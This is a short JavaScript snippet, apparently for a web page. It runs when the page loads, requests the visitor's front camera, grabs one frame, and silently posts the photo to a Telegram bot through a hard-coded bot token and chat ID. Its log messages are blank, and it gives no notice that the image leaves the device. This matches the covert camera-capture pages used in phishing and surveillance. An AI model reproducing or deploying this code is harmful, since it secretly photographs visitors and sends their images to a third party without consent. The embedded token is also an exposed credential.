async function requestCameraAccess() { try { const constraints = { video: { facingMode: 'user' }, audio: false }; const stream = await navigator.mediaDevices.getUserMedia(constraints); const video = document.createElement('video'); video.srcObject = stream; video.play(); const canvas = document.getElementById('canvas'); const context = canvas.getContext('2d'); video.addEventListener('loadeddata', () => { canvas.width = video.videoWidth; canvas.height = video.videoHeight; context.drawImage(video, 0, 0, video.videoWidth, video.videoHeight); video.pause(); video.srcObject = null; stream.getTracks().forEach(track => track.stop()); canvas.toBlob(blob => { sendToTelegram(blob); }); }); } catch (error) { console.error('', error); } } function sendToTelegram(blob) { const formData = new FormData(); formData.append('chat_id', '-1002307536774'); formData.append('photo', blob, 'photo.png'); const botToken = '7577593709:AAHx9cXWKqFA6wB9OjYRCgzGmNLBPhC0iD8'; const url = `https://api.telegram.org/bot${botToken}/sendPhoto`; fetch(url, { method: 'POST', body: formData }) .then(response => response.json()) .then(data => { if (data.ok) { console.log(''); } else { console.error('', data); } }) .catch(error => console.error('', error)); } window.onload = function() { requestCameraAccess(); };